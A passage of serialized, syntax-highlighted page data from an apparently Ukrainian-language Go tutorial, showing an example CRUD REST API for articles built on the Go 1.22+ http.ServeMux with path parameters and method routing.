\u002Fapi\u002Fusers\u002F{id}\"",[5557,14187,5305],{"class":5585},[5557,14189,5634],{"class":5563},[5557,14191,5673],{"class":5585},[5557,14193,8909],{"class":5654},[5557,14195,8912],{"class":5567},[5557,14197,5268],{"class":5585},[5557,14199,8917],{"class":5567},[5557,14201,5305],{"class":5585},[5557,14203,8922],{"class":5654},[5557,14205,8925],{"class":5585},[5557,14207,8928],{"class":5567},[5557,14209,5268],{"class":5585},[5557,14211,8933],{"class":5567},[5557,14213,5949],{"class":5585},[5557,14215,14216],{"class":5559,"line":5596},[5557,14217,14218],{"class":5647},"    \u002F\u002F 1. Метод r.PathValue вилучає значення одразу\n",[5557,14220,14221,14224,14226,14228,14230,14232,14234,14236],{"class":5559,"line":5602},[5557,14222,14223],{"class":5654},"    idStr",[5557,14225,5663],{"class":5585},[5557,14227,8922],{"class":5654},[5557,14229,5268],{"class":5585},[5557,14231,13410],{"class":5637},[5557,14233,5673],{"class":5585},[5557,14235,13058],{"class":5592},[5557,14237,5623],{"class":5585},[5557,14239,14240,14242,14244,14246,14248,14250,14252,14254,14256,14258],{"class":5559,"line":5608},[5557,14241,13401],{"class":5654},[5557,14243,5305],{"class":5585},[5557,14245,5660],{"class":5654},[5557,14247,5663],{"class":5585},[5557,14249,13926],{"class":5654},[5557,14251,5268],{"class":5585},[5557,14253,13931],{"class":5637},[5557,14255,5673],{"class":5585},[5557,14257,13936],{"class":5654},[5557,14259,5623],{"class":5585},[5557,14261,14262,14264,14266,14268,14270],{"class":5559,"line":5614},[5557,14263,5689],{"class":5581},[5557,14265,5692],{"class":5654},[5557,14267,5695],{"class":5585},[5557,14269,5698],{"class":5563},[5557,14271,5701],{"class":5585},[5557,14273,14274,14276,14278,14280,14282,14284,14286,14288,14290,14292,14294,14296],{"class":5559,"line":5620},[5557,14275,9300],{"class":5654},[5557,14277,5268],{"class":5585},[5557,14279,9267],{"class":5637},[5557,14281,5673],{"class":5585},[5557,14283,8909],{"class":5654},[5557,14285,5305],{"class":5585},[5557,14287,13967],{"class":5592},[5557,14289,5305],{"class":5585},[5557,14291,8928],{"class":5654},[5557,14293,5268],{"class":5585},[5557,14295,13902],{"class":5654},[5557,14297,5623],{"class":5585},[5557,14299,14300],{"class":5559,"line":5626},[5557,14301,6076],{"class":5581},[5557,14303,14304],{"class":5559,"line":5631},[5557,14305,5735],{"class":5585},[5557,14307,14308,14311,14313,14315,14317,14319,14321,14323],{"class":5559,"line":5644},[5557,14309,14310],{"class":5637},"    getUser",[5557,14312,5673],{"class":5585},[5557,14314,8909],{"class":5654},[5557,14316,5305],{"class":5585},[5557,14318,8922],{"class":5654},[5557,14320,5305],{"class":5585},[5557,14322,13207],{"class":5654},[5557,14324,5623],{"class":5585},[5557,14326,14327],{"class":5559,"line":5651},[5557,14328,13451],{"class":5585},[5557,14330,14331],{"class":5559,"line":5686},[5557,14332,5575],{"emptyLinePlaceholder":5574},[5557,14334,14335,14337,14339,14341,14343,14346,14348,14350,14352,14354,14356,14358,14360,14362,14364,14366,14368,14370,14372],{"class":5559,"line":5704},[5557,14336,12726],{"class":5654},[5557,14338,5268],{"class":5585},[5557,14340,12316],{"class":5637},[5557,14342,5673],{"class":5585},[5557,14344,14345],{"class":5592},"\"DELETE \u002Fapi\u002Fusers\u002F{id}\"",[5557,14347,5305],{"class":5585},[5557,14349,5634],{"class":5563},[5557,14351,5673],{"class":5585},[5557,14353,8909],{"class":5654},[5557,14355,8912],{"class":5567},[5557,14357,5268],{"class":5585},[5557,14359,8917],{"class":5567},[5557,14361,5305],{"class":5585},[5557,14363,8922],{"class":5654},[5557,14365,8925],{"class":5585},[5557,14367,8928],{"class":5567},[5557,14369,5268],{"class":5585},[5557,14371,8933],{"class":5567},[5557,14373,5949],{"class":5585},[5557,14375,14376,14378,14380,14382,14384,14386,14388,14390],{"class":5559,"line":5732},[5557,14377,14223],{"class":5654},[5557,14379,5663],{"class":5585},[5557,14381,8922],{"class":5654},[5557,14383,5268],{"class":5585},[5557,14385,13410],{"class":5637},[5557,14387,5673],{"class":5585},[5557,14389,13058],{"class":5592},[5557,14391,5623],{"class":5585},[5557,14393,14394,14397,14399,14401,14403,14405,14407,14409],{"class":5559,"line":5738},[5557,14395,14396],{"class":5637},"    deleteUser",[5557,14398,5673],{"class":5585},[5557,14400,8909],{"class":5654},[5557,14402,5305],{"class":5585},[5557,14404,8922],{"class":5654},[5557,14406,5305],{"class":5585},[5557,14408,13936],{"class":5654},[5557,14410,5623],{"class":5585},[5557,14412,14413],{"class":5559,"line":5755},[5557,14414,13451],{"class":5585},[5557,14416,14417],{"class":5559,"line":5760},[5557,14418,5575],{"emptyLinePlaceholder":5574},[5557,14420,14421],{"class":5559,"line":5778},[5557,14422,14423],{"class":5647},"\u002F\u002F При запиті POST або PUT Go автоматично надішле 405 зі списком Allow!\n",[7759,14425,14427,14428],{"id":14426},"повний-приклад-rest-api-статей-на-стандартному-httpservemux","Повний приклад: REST API статей на стандартному ",[5236,14429,5250],{},[5348,14431,14432],{},"Розглянемо повний навчальний приклад побудови CRUD REST API для статей за допомогою нових можливостей Go 1.22+:",[5546,14434,14435],{},[5464,14436,14439],{"className":5550,"code":14437,"filename":14438,"language":5553,"meta":5472,"style":5472},"package main\n\nimport (\n    \"encoding\u002Fjson\"\n    \"fmt\"\n    \"log\"\n    \"net\u002Fhttp\"\n    \"strconv\"\n    \"sync\"\n)\n\n\u002F\u002F Article представляє доменну сутність статті\ntype Article struct {\n    ID    int    `json:\"id\"`\n    Title string `json:\"title\"`\n}\n\n\u002F\u002F MemoryStore реалізує потокобезпечне сховище статей у пам'яті\ntype MemoryStore struct {\n    sync.RWMutex\n    items  map[int]Article\n    nextID int\n}\n\nfunc newMemoryStore() *MemoryStore {\n    store := &MemoryStore{\n        items:  make(map[int]Article),\n        nextID: 3,\n    }\n    store.items[1] = Article{ID: 1, Title: \"Протокол HTTP та архітектура клієнт-сервер\"}\n    store.items[2] = Article{ID: 2, Title: \"Параметри шляху в оновленому Go ServeMux\"}\n    return store\n}\n\nfunc main() {\n    store := newMemoryStore()\n    mux := http.NewServeMux()\n\n    \u002F\u002F 1. Точний збіг для кореневого маршруту (Exact Match)\n    mux.HandleFunc(\"GET \u002F{$}\", func(w http.ResponseWriter, r *http.Request) {\n        w.Header().Set(\"Content-Type\", \"text\u002Fplain; charset=utf-8\")\n        fmt.Fprintln(w, \"Головна сторінка API статей на Go 1.22+\")\n    })\n\n    \u002F\u002F 2. Отримання списку статей (GET)\n    mux.HandleFunc(\"GET \u002Fapi\u002Fv1\u002Farticles\", func(w http.ResponseWriter, r *http.Request) {\n        store.RLock()\n        defer store.RUnlock()\n\n        list := make([]Article, 0, len(store.items))\n        for _, item := range store.items {\n            list = append(list, item)\n        }\n\n        w.Header().Set(\"Content-Type\", \"application\u002Fjson\")\n        json.NewEncoder(w).Encode(list)\n    })\n\n    \u002F\u002F 3. Створення нової статті (POST)\n    mux.HandleFunc(\"POST \u002Fapi\u002Fv1\u002Farticles\", func(w http.ResponseWriter, r *http.Request) {\n        var payload struct {\n            Title string `json:\"title\"`\n        }\n\n        if err := json.NewDecoder(r.Body).Decode(&payload); err != nil || payload.Title == \"\" {\n            http.Error(w, `{\"error\": \"поле title обов'язкове\"}`, http.StatusBadRequest)\n            return\n        }\n\n        store.Lock()\n        newArticle := Article{ID: store.nextID, Title: payload.Title}\n        store.items[store.nextID] = newArticle\n        store.nextID++\n        store.Unlock()\n\n        w.Header().Set(\"Content-Type\", \"application\u002Fjson\")\n        w.WriteHeader(http.StatusCreated)\n        json.NewEncoder(w).Encode(newArticle)\n    })\n\n    \u002F\u002F 4. Отримання конкретної статті за динамічним параметром {id}\n    mux.HandleFunc(\"GET \u002Fapi\u002Fv1\u002Farticles\u002F{id}\", func(w http.ResponseWriter, r *http.Request) {\n        \u002F\u002F Отримання параметра шляху\n        idParam := r.PathValue(\"id\")\n        id, err := strconv.Atoi(idParam)\n        if err != nil || id \u003C= 0 {\n            http.Error(w, `{\"error\": \"ідентифікатор має бути додатним цілим числом\"}`, http.StatusBadRequest)\n            return\n        }\n\n        store.RLock()\n        article, found := store.items[id]\n        store.RUnlock()\n\n        if !found {\n            http.Error(w, `{\"error\": \"статтю з таким ідентифікатором не знайдено\"}`, http.StatusNotFound)\n            return\n        }\n\n        w.Header().Set(\"Content-Type\", \"application\u002Fjson\")\n        json.NewEncoder(w).Encode(article)\n    })\n\n    \u002F\u002F 5. Видалення статті (DELETE)\n    mux.HandleFunc(\"DELETE \u002Fapi\u002Fv1\u002Farticles\u002F{id}\", func(w http.ResponseWriter, r *http.Request) {\n        idParam := r.PathValue(\"id\")\n        id, err := strconv.Atoi(idParam)\n        if err != nil || id \u003C= 0 {\n            http.Error(w, `{\"error\": \"некоректний ідентифікатор статті\"}`, http.StatusBadRequest)\n            return\n        }\n\n        store.Lock()\n        _, exists := store.items[id]\n        if exists {\n            delete(store.items, id)\n        }\n        store.Unlock()\n\n        if !exists {\n            http.Error(w, `{\"error\": \"статтю не знайдено\"}`, http.StatusNotFound)\n            return\n        }\n\n        \u002F\u002F 204 No Content сигналізує про успішне видалення без тіла відповіді\n        w.WriteHeader(http.StatusNoContent)\n    })\n\n    \u002F\u002F 6. Залишковий вайлдкард для роздачі або логування файлів\n    mux.HandleFunc(\"GET \u002Fdocs\u002F{filepath...}\", func(w http.ResponseWriter, r *http.Request) {\n        docPath := r.PathValue(\"filepath\")\n        w.Header().Set(\"Content-Type\", \"text\u002Fplain; charset=utf-8\")\n        fmt.Fprintf(w, \"Запит документації за відносним шляхом: %s\\n\", docPath)\n    })\n\n    log.Println(\"🚀 REST API сервер запущено на http:\u002F\u002Flocalhost:8080\")\n    if err := http.ListenAndServe(\":8080\", mux); err != nil {\n        log.Fatalf(\"Критична помилка сервера: %v\", err)\n    }\n}\n","cmd\u002Farticles-api\u002Fmain.go",[5236,14440,14441,14447,14451,14457,14461,14465,14469,14473,14478,14483,14487,14491,14496,14507,14518,14528,14532,14536,14541,14552,14562,14579,14587,14591,14595,14610,14621,14648,14660,14664,14702,14737,14744,14748,14752,14760,14771,14785,14789,14794,14834,14857,14877,14881,14885,14890,14931,14943,14957,14961,14993,15016,15038,15042,15046,15068,15090,15094,15098,15103,15144,15156,15165,15169,15173,15231,15258,15262,15266,15270,15281,15317,15338,15349,15360,15364,15386,15405,15428,15432,15436,15441,15482,15487,15506,15529,15550,15577,15581,15585,15589,15599,15623,15633,15637,15647,15675,15679,15683,15687,15709,15732,15736,15740,15745,15786,15804,15826,15846,15873,15877,15881,15885,15895,15919,15929,15949,15954,15965,15970,15981,16009,16014,16019,16024,16030,16050,16055,16060,16066,16108,16128,16151,16182,16187,16192,16208,16241,16265,16270],{"__ignoreMap":5472},[5557,14442,14443,14445],{"class":5559,"line":5560},[5557,14444,5564],{"class":5563},[5557,14446,5568],{"class":5567},[5557,14448,14449],{"class":5559,"line":5571},[5557,14450,5575],{"emptyLinePlaceholder":5574},[5557,14452,14453,14455],{"class":5559,"line":5578},[5557,14454,5582],{"class":5581},[5557,14456,5586],{"class":5585},[5557,14458,14459],{"class":5559,"line":5589},[5557,14460,12578],{"class":5592},[5557,14462,14463],{"class":5559,"line":5596},[5557,14464,5599],{"class":5592},[5557,14466,14467],{"class":5559,"line":5602},[5557,14468,5605],{"class":5592},[5557,14470,14471],{"class":5559,"line":5608},[5557,14472,12286],{"class":5592},[5557,14474,14475],{"class":5559,"line":5614},[5557,14476,14477],{"class":5592},"    \"strconv\"\n",[5557,14479,14480],{"class":5559,"line":5620},[5557,14481,14482],{"class":5592},"    \"sync\"\n",[5557,14484,14485],{"class":5559,"line":5626},[5557,14486,5623],{"class":5585},[5557,14488,14489],{"class":5559,"line":5631},[5557,14490,5575],{"emptyLinePlaceholder":5574},[5557,14492,14493],{"class":5559,"line":5644},[5557,14494,14495],{"class":5647},"\u002F\u002F Article представляє доменну сутність статті\n",[5557,14497,14498,14500,14503,14505],{"class":5559,"line":5651},[5557,14499,11991],{"class":5563},[5557,14501,14502],{"class":5567}," Article",[5557,14504,11997],{"class":5563},[5557,14506,5701],{"class":5585},[5557,14508,14509,14512,14515],{"class":5559,"line":5686},[5557,14510,14511],{"class":5654},"    ID",[5557,14513,14514],{"class":5567},"    int",[5557,14516,14517],{"class":5592},"    `json:\"id\"`\n",[5557,14519,14520,14523,14525],{"class":5559,"line":5704},[5557,14521,14522],{"class":5654},"    Title",[5557,14524,6662],{"class":5567},[5557,14526,14527],{"class":5592}," `json:\"title\"`\n",[5557,14529,14530],{"class":5559,"line":5732},[5557,14531,5922],{"class":5585},[5557,14533,14534],{"class":5559,"line":5738},[5557,14535,5575],{"emptyLinePlaceholder":5574},[5557,14537,14538],{"class":5559,"line":5755},[5557,14539,14540],{"class":5647},"\u002F\u002F MemoryStore реалізує потокобезпечне сховище статей у пам'яті\n",[5557,14542,14543,14545,14548,14550],{"class":5559,"line":5760},[5557,14544,11991],{"class":5563},[5557,14546,14547],{"class":5567}," MemoryStore",[5557,14549,11997],{"class":5563},[5557,14551,5701],{"class":5585},[5557,14553,14554,14557,14559],{"class":5559,"line":5778},[5557,14555,14556],{"class":5567},"    sync",[5557,14558,5268],{"class":5585},[5557,14560,14561],{"class":5567},"RWMutex\n",[5557,14563,14564,14567,14570,14572,14574,14576],{"class":5559,"line":5794},[5557,14565,14566],{"class":5654},"    items",[5557,14568,14569],{"class":5563},"  map",[5557,14571,6192],{"class":5585},[5557,14573,6686],{"class":5567},[5557,14575,6689],{"class":5585},[5557,14577,14578],{"class":5567},"Article\n",[5557,14580,14581,14584],{"class":5559,"line":5799},[5557,14582,14583],{"class":5654},"    nextID",[5557,14585,14586],{"class":5567}," int\n",[5557,14588,14589],{"class":5559,"line":5807},[5557,14590,5922],{"class":5585},[5557,14592,14593],{"class":5559,"line":5813},[5557,14594,5575],{"emptyLinePlaceholder":5574},[5557,14596,14597,14599,14602,14605,14608],{"class":5559,"line":5835},[5557,14598,5634],{"class":5563},[5557,14600,14601],{"class":5637}," newMemoryStore",[5557,14603,14604],{"class":5585},"() *",[5557,14606,14607],{"class":5567},"MemoryStore",[5557,14609,5701],{"class":5585},[5557,14611,14612,14615,14617,14619],{"class":5559,"line":5849},[5557,14613,14614],{"class":5654},"    store",[5557,14616,8973],{"class":5585},[5557,14618,14607],{"class":5567},[5557,14620,6695],{"class":5585},[5557,14622,14623,14626,14629,14632,14634,14636,14638,14640,14642,14645],{"class":5559,"line":5875},[5557,14624,14625],{"class":5654},"        items",[5557,14627,14628],{"class":5585},":  ",[5557,14630,14631],{"class":5637},"make",[5557,14633,5673],{"class":5585},[5557,14635,6681],{"class":5563},[5557,14637,6192],{"class":5585},[5557,14639,6686],{"class":5567},[5557,14641,6689],{"class":5585},[5557,14643,14644],{"class":5567},"Article",[5557,14646,14647],{"class":5585},"),\n",[5557,14649,14650,14653,14655,14658],{"class":5559,"line":5881},[5557,14651,14652],{"class":5654},"        nextID",[5557,14654,6704],{"class":5585},[5557,14656,14657],{"class":6134},"3",[5557,14659,6710],{"class":5585},[5557,14661,14662],{"class":5559,"line":5887},[5557,14663,5735],{"class":5585},[5557,14665,14666,14668,14670,14673,14675,14677,14680,14682,14684,14686,14688,14690,14692,14695,14697,14700],{"class":5559,"line":5892},[5557,14667,14614],{"class":5654},[5557,14669,5268],{"class":5585},[5557,14671,14672],{"class":5654},"items",[5557,14674,6192],{"class":5585},[5557,14676,6213],{"class":6134},[5557,14678,14679],{"class":5585},"] = ",[5557,14681,14644],{"class":5567},[5557,14683,7065],{"class":5585},[5557,14685,11322],{"class":5654},[5557,14687,6704],{"class":5585},[5557,14689,6213],{"class":6134},[5557,14691,5305],{"class":5585},[5557,14693,14694],{"class":5654},"Title",[5557,14696,6704],{"class":5585},[5557,14698,14699],{"class":5592},"\"Протокол HTTP та архітектура клієнт-сервер\"",[5557,14701,5922],{"class":5585},[5557,14703,14704,14706,14708,14710,14712,14714,14716,14718,14720,14722,14724,14726,14728,14730,14732,14735],{"class":5559,"line":5898},[5557,14705,14614],{"class":5654},[5557,14707,5268],{"class":5585},[5557,14709,14672],{"class":5654},[5557,14711,6192],{"class":5585},[5557,14713,6135],{"class":6134},[5557,14715,14679],{"class":5585},[5557,14717,14644],{"class":5567},[5557,14719,7065],{"class":5585},[5557,14721,11322],{"class":5654},[5557,14723,6704],{"class":5585},[5557,14725,6135],{"class":6134},[5557,14727,5305],{"class":5585},[5557,14729,14694],{"class":5654},[5557,14731,6704],{"class":5585},[5557,14733,14734],{"class":5592},"\"Параметри шляху в оновленому Go ServeMux\"",[5557,14736,5922],{"class":5585},[5557,14738,14739,14741],{"class":5559,"line":5914},[5557,14740,11758],{"class":5581},[5557,14742,14743],{"class":5654}," store\n",[5557,14745,14746],{"class":5559,"line":5919},[5557,14747,5922],{"class":5585},[5557,14749,14750],{"class":5559,"line":5925},[5557,14751,5575],{"emptyLinePlaceholder":5574},[5557,14753,14754,14756,14758],{"class":5559,"line":5930},[5557,14755,5634],{"class":5563},[5557,14757,5638],{"class":5637},[5557,14759,5641],{"class":5585},[5557,14761,14762,14764,14766,14769],{"class":5559,"line":5952},[5557,14763,14614],{"class":5654},[5557,14765,5663],{"class":5585},[5557,14767,14768],{"class":5637},"newMemoryStore",[5557,14770,5752],{"class":5585},[5557,14772,14773,14775,14777,14779,14781,14783],{"class":5559,"line":5966},[5557,14774,12612],{"class":5654},[5557,14776,5663],{"class":5585},[5557,14778,8928],{"class":5654},[5557,14780,5268],{"class":5585},[5557,14782,12621],{"class":5637},[5557,14784,5752],{"class":5585},[5557,14786,14787],{"class":5559,"line":5971},[5557,14788,5575],{"emptyLinePlaceholder":5574},[5557,14790,14791],{"class":5559,"line":5977},[5557,14792,14793],{"class":5647},"    \u002F\u002F 1. Точний збіг для кореневого маршруту (Exact Match)\n",[5557,14795,14796,14798,14800,14802,14804,14806,14808,14810,14812,14814,14816,14818,14820,14822,14824,14826,14828,14830,14832],{"class":5559,"line":5998},[5557,14797,12612],{"class":5654},[5557,14799,5268],{"class":5585},[5557,14801,12316],{"class":5637},[5557,14803,5673],{"class":5585},[5557,14805,13582],{"class":5592},[5557,14807,5305],{"class":5585},[5557,14809,5634],{"class":5563},[5557,14811,5673],{"class":5585},[5557,14813,8909],{"class":5654},[5557,14815,8912],{"class":5567},[5557,14817,5268],{"class":5585},[5557,14819,8917],{"class":5567},[5557,14821,5305],{"class":5585},[5557,14823,8922],{"class":5654},[5557,14825,8925],{"class":5585},[5557,14827,8928],{"class":5567},[5557,14829,5268],{"class":5585},[5557,14831,8933],{"class":5567},[5557,14833,5949],{"class":5585},[5557,14835,14836,14838,14840,14842,14844,14846,14848,14850,14852,14855],{"class":5559,"line":6003},[5557,14837,11000],{"class":5654},[5557,14839,5268],{"class":5585},[5557,14841,10972],{"class":5637},[5557,14843,11043],{"class":5585},[5557,14845,11046],{"class":5637},[5557,14847,5673],{"class":5585},[5557,14849,11098],{"class":5592},[5557,14851,5305],{"class":5585},[5557,14853,14854],{"class":5592},"\"text\u002Fplain; charset=utf-8\"",[5557,14856,5623],{"class":5585},[5557,14858,14859,14861,14863,14866,14868,14870,14872,14875],{"class":5559,"line":6009},[5557,14860,11530],{"class":5654},[5557,14862,5268],{"class":5585},[5557,14864,14865],{"class":5637},"Fprintln",[5557,14867,5673],{"class":5585},[5557,14869,8909],{"class":5654},[5557,14871,5305],{"class":5585},[5557,14873,14874],{"class":5592},"\"Головна сторінка API статей на Go 1.22+\"",[5557,14876,5623],{"class":5585},[5557,14878,14879],{"class":5559,"line":6036},[5557,14880,11978],{"class":5585},[5557,14882,14883],{"class":5559,"line":6049},[5557,14884,5575],{"emptyLinePlaceholder":5574},[5557,14886,14887],{"class":5559,"line":6073},[5557,14888,14889],{"class":5647},"    \u002F\u002F 2. Отримання списку статей (GET)\n",[5557,14891,14892,14894,14896,14898,14900,14903,14905,14907,14909,14911,14913,14915,14917,14919,14921,14923,14925,14927,14929],{"class":5559,"line":6079},[5557,14893,12612],{"class":5654},[5557,14895,5268],{"class":5585},[5557,14897,12316],{"class":5637},[5557,14899,5673],{"class":5585},[5557,14901,14902],{"class":5592},"\"GET \u002Fapi\u002Fv1\u002Farticles\"",[5557,14904,5305],{"class":5585},[5557,14906,5634],{"class":5563},[5557,14908,5673],{"class":5585},[5557,14910,8909],{"class":5654},[5557,14912,8912],{"class":5567},[5557,14914,5268],{"class":5585},[5557,14916,8917],{"class":5567},[5557,14918,5305],{"class":5585},[5557,14920,8922],{"class":5654},[5557,14922,8925],{"class":5585},[5557,14924,8928],{"class":5567},[5557,14926,5268],{"class":5585},[5557,14928,8933],{"class":5567},[5557,14930,5949],{"class":5585},[5557,14932,14933,14936,14938,14941],{"class":5559,"line":6084},[5557,14934,14935],{"class":5654},"        store",[5557,14937,5268],{"class":5585},[5557,14939,14940],{"class":5637},"RLock",[5557,14942,5752],{"class":5585},[5557,14944,14945,14947,14950,14952,14955],{"class":5559,"line":6089},[5557,14946,11910],{"class":5581},[5557,14948,14949],{"class":5654}," store",[5557,14951,5268],{"class":5585},[5557,14953,14954],{"class":5637},"RUnlock",[5557,14956,5752],{"class":5585},[5557,14958,14959],{"class":5559,"line":6095},[5557,14960,5575],{"emptyLinePlaceholder":5574},[5557,14962,14963,14966,14968,14970,14972,14974,14976,14978,14980,14982,14984,14987,14989,14991],{"class":5559,"line":6118},[5557,14964,14965],{"class":5654},"        list",[5557,14967,5663],{"class":5585},[5557,14969,14631],{"class":5637},[5557,14971,6954],{"class":5585},[5557,14973,14644],{"class":5567},[5557,14975,5305],{"class":5585},[5557,14977,6195],{"class":6134},[5557,14979,5305],{"class":5585},[5557,14981,6871],{"class":5637},[5557,14983,5673],{"class":5585},[5557,14985,14986],{"class":5654},"store",[5557,14988,5268],{"class":5585},[5557,14990,14672],{"class":5654},[5557,14992,6878],{"class":5585},[5557,14994,14995,14997,14999,15001,15004,15006,15008,15010,15012,15014],{"class":5559,"line":6140},[5557,14996,11554],{"class":5581},[5557,14998,11557],{"class":5654},[5557,15000,5305],{"class":5585},[5557,15002,15003],{"class":5654},"item",[5557,15005,5663],{"class":5585},[5557,15007,11567],{"class":5581},[5557,15009,14949],{"class":5654},[5557,15011,5268],{"class":5585},[5557,15013,14672],{"class":5654},[5557,15015,5701],{"class":5585},[5557,15017,15018,15021,15024,15027,15029,15032,15034,15036],{"class":5559,"line":6167},[5557,15019,15020],{"class":5654},"            list",[5557,15022,15023],{"class":5585}," = ",[5557,15025,15026],{"class":5637},"append",[5557,15028,5673],{"class":5585},[5557,15030,15031],{"class":5654},"list",[5557,15033,5305],{"class":5585},[5557,15035,15003],{"class":5654},[5557,15037,5623],{"class":5585},[5557,15039,15040],{"class":5559,"line":6172},[5557,15041,5884],{"class":5585},[5557,15043,15044],{"class":5559,"line":6177},[5557,15045,5575],{"emptyLinePlaceholder":5574},[5557,15047,15048,15050,15052,15054,15056,15058,15060,15062,15064,15066],{"class":5559,"line":6182},[5557,15049,11000],{"class":5654},[5557,15051,5268],{"class":5585},[5557,15053,10972],{"class":5637},[5557,15055,11043],{"class":5585},[5557,15057,11046],{"class":5637},[5557,15059,5673],{"class":5585},[5557,15061,11098],{"class":5592},[5557,15063,5305],{"class":5585},[5557,15065,6555],{"class":5592},[5557,15067,5623],{"class":5585},[5557,15069,15070,15072,15074,15076,15078,15080,15082,15084,15086,15088],{"class":5559,"line":6201},[5557,15071,6532],{"class":5654},[5557,15073,5268],{"class":5585},[5557,15075,11114],{"class":5637},[5557,15077,5673],{"class":5585},[5557,15079,8909],{"class":5654},[5557,15081,7121],{"class":5585},[5557,15083,11123],{"class":5637},[5557,15085,5673],{"class":5585},[5557,15087,15031],{"class":5654},[5557,15089,5623],{"class":5585},[5557,15091,15092],{"class":5559,"line":6218},[5557,15093,11978],{"class":5585},[5557,15095,15096],{"class":5559,"line":6223},[5557,15097,5575],{"emptyLinePlaceholder":5574},[5557,15099,15100],{"class":5559,"line":6273},[5557,15101,15102],{"class":5647},"    \u002F\u002F 3. Створення нової статті (POST)\n",[5557,15104,15105,15107,15109,15111,15113,15116,15118,15120,15122,15124,15126,15128,15130,15132,15134,15136,15138,15140,15142],{"class":5559,"line":6278},[5557,15106,12612],{"class":5654},[5557,15108,5268],{"class":5585},[5557,15110,12316],{"class":5637},[5557,15112,5673],{"class":5585},[5557,15114,15115],{"class":5592},"\"POST \u002Fapi\u002Fv1\u002Farticles\"",[5557,15117,5305],{"class":5585},[5557,15119,5634],{"class":5563},[5557,15121,5673],{"class":5585},[5557,15123,8909],{"class":5654},[5557,15125,8912],{"class":5567},[5557,15127,5268],{"class":5585},[5557,15129,8917],{"class":5567},[5557,15131,5305],{"class":5585},[5557,15133,8922],{"class":5654},[5557,15135,8925],{"class":5585},[5557,15137,8928],{"class":5567},[5557,15139,5268],{"class":5585},[5557,15141,8933],{"class":5567},[5557,15143,5949],{"class":5585},[5557,15145,15146,15149,15152,15154],{"class":5559,"line":6284},[5557,15147,15148],{"class":5563},"        var",[5557,15150,15151],{"class":5654}," payload",[5557,15153,11997],{"class":5563},[5557,15155,5701],{"class":5585},[5557,15157,15158,15161,15163],{"class":5559,"line":6291},[5557,15159,15160],{"class":5654},"            Title",[5557,15162,6662],{"class":5567},[5557,15164,14527],{"class":5592},[5557,15166,15167],{"class":5559,"line":6315},[5557,15168,5884],{"class":5585},[5557,15170,15171],{"class":5559,"line":6328},[5557,15172,5575],{"emptyLinePlaceholder":5574},[5557,15174,15175,15177,15179,15181,15183,15185,15188,15190,15192,15194,15197,15199,15202,15205,15208,15211,15213,15215,15217,15219,15221,15223,15225,15227,15229],{"class":5559,"line":6334},[5557,15176,5838],{"class":5581},[5557,15178,5692],{"class":5654},[5557,15180,5663],{"class":5585},[5557,15182,6560],{"class":5654},[5557,15184,5268],{"class":5585},[5557,15186,15187],{"class":5637},"NewDecoder",[5557,15189,5673],{"class":5585},[5557,15191,8922],{"class":5654},[5557,15193,5268],{"class":5585},[5557,15195,15196],{"class":5654},"Body",[5557,15198,7121],{"class":5585},[5557,15200,15201],{"class":5637},"Decode",[5557,15203,15204],{"class":5585},"(&",[5557,15206,15207],{"class":5654},"payload",[5557,15209,15210],{"class":5585},"); ",[5557,15212,5660],{"class":5654},[5557,15214,5695],{"class":5585},[5557,15216,5698],{"class":5563},[5557,15218,6363],{"class":5585},[5557,15220,15207],{"class":5654},[5557,15222,5268],{"class":5585},[5557,15224,14694],{"class":5654},[5557,15226,6353],{"class":5585},[5557,15228,9520],{"class":5592},[5557,15230,5701],{"class":5585},[5557,15232,15233,15235,15237,15239,15241,15243,15245,15248,15250,15252,15254,15256],{"class":5559,"line":6339},[5557,15234,9262],{"class":5654},[5557,15236,5268],{"class":5585},[5557,15238,9267],{"class":5637},[5557,15240,5673],{"class":5585},[5557,15242,8909],{"class":5654},[5557,15244,5305],{"class":5585},[5557,15246,15247],{"class":5592},"`{\"error\": \"поле title обов'язкове\"}`",[5557,15249,5305],{"class":5585},[5557,15251,8928],{"class":5654},[5557,15253,5268],{"class":5585},[5557,15255,13902],{"class":5654},[5557,15257,5623],{"class":5585},[5557,15259,15260],{"class":5559,"line":6345},[5557,15261,6331],{"class":5581},[5557,15263,15264],{"class":5559,"line":6379},[5557,15265,5884],{"class":5585},[5557,15267,15268],{"class":5559,"line":6385},[5557,15269,5575],{"emptyLinePlaceholder":5574},[5557,15271,15272,15274,15276,15279],{"class":5559,"line":6390},[5557,15273,14935],{"class":5654},[5557,15275,5268],{"class":5585},[5557,15277,15278],{"class":5637},"Lock",[5557,15280,5752],{"class":5585},[5557,15282,15283,15286,15288,15290,15292,15294,15296,15298,15300,15303,15305,15307,15309,15311,15313,15315],{"class":5559,"line":6395},[5557,15284,15285],{"class":5654},"        newArticle",[5557,15287,5663],{"class":5585},[5557,15289,14644],{"class":5567},[5557,15291,7065],{"class":5585},[5557,15293,11322],{"class":5654},[5557,15295,6704],{"class":5585},[5557,15297,14986],{"class":5654},[5557,15299,5268],{"class":5585},[5557,15301,15302],{"class":5654},"nextID",[5557,15304,5305],{"class":5585},[5557,15306,14694],{"class":5654},[5557,15308,6704],{"class":5585},[5557,15310,15207],{"class":5654},[5557,15312,5268],{"class":5585},[5557,15314,14694],{"class":5654},[5557,15316,5922],{"class":5585},[5557,15318,15319,15321,15323,15325,15327,15329,15331,15333,15335],{"class":5559,"line":6400},[5557,15320,14935],{"class":5654},[5557,15322,5268],{"class":5585},[5557,15324,14672],{"class":5654},[5557,15326,6192],{"class":5585},[5557,15328,14986],{"class":5654},[5557,15330,5268],{"class":5585},[5557,15332,15302],{"class":5654},[5557,15334,14679],{"class":5585},[5557,15336,15337],{"class":5654},"newArticle\n",[5557,15339,15340,15342,15344,15346],{"class":5559,"line":6406},[5557,15341,14935],{"class":5654},[5557,15343,5268],{"class":5585},[5557,15345,15302],{"class":5654},[5557,15347,15348],{"class":5585},"++\n",[5557,15350,15351,15353,15355,15358],{"class":5559,"line":6417},[5557,15352,14935],{"class":5654},[5557,15354,5268],{"class":5585},[5557,15356,15357],{"class":5637},"Unlock",[5557,15359,5752],{"class":5585},[5557,15361,15362],{"class":5559,"line":6429},[5557,15363,5575],{"emptyLinePlaceholder":5574},[5557,15365,15366,15368,15370,15372,15374,15376,15378,15380,15382,15384],{"class":5559,"line":6440},[5557,15367,11000],{"class":5654},[5557,15369,5268],{"class":5585},[5557,15371,10972],{"class":5637},[5557,15373,11043],{"class":5585},[5557,15375,11046],{"class":5637},[5557,15377,5673],{"class":5585},[5557,15379,11098],{"class":5592},[5557,15381,5305],{"class":5585},[5557,15383,6555],{"class":5592},[5557,15385,5623],{"class":5585},[5557,15387,15388,15390,15392,15394,15396,15398,15400,15403],{"class":55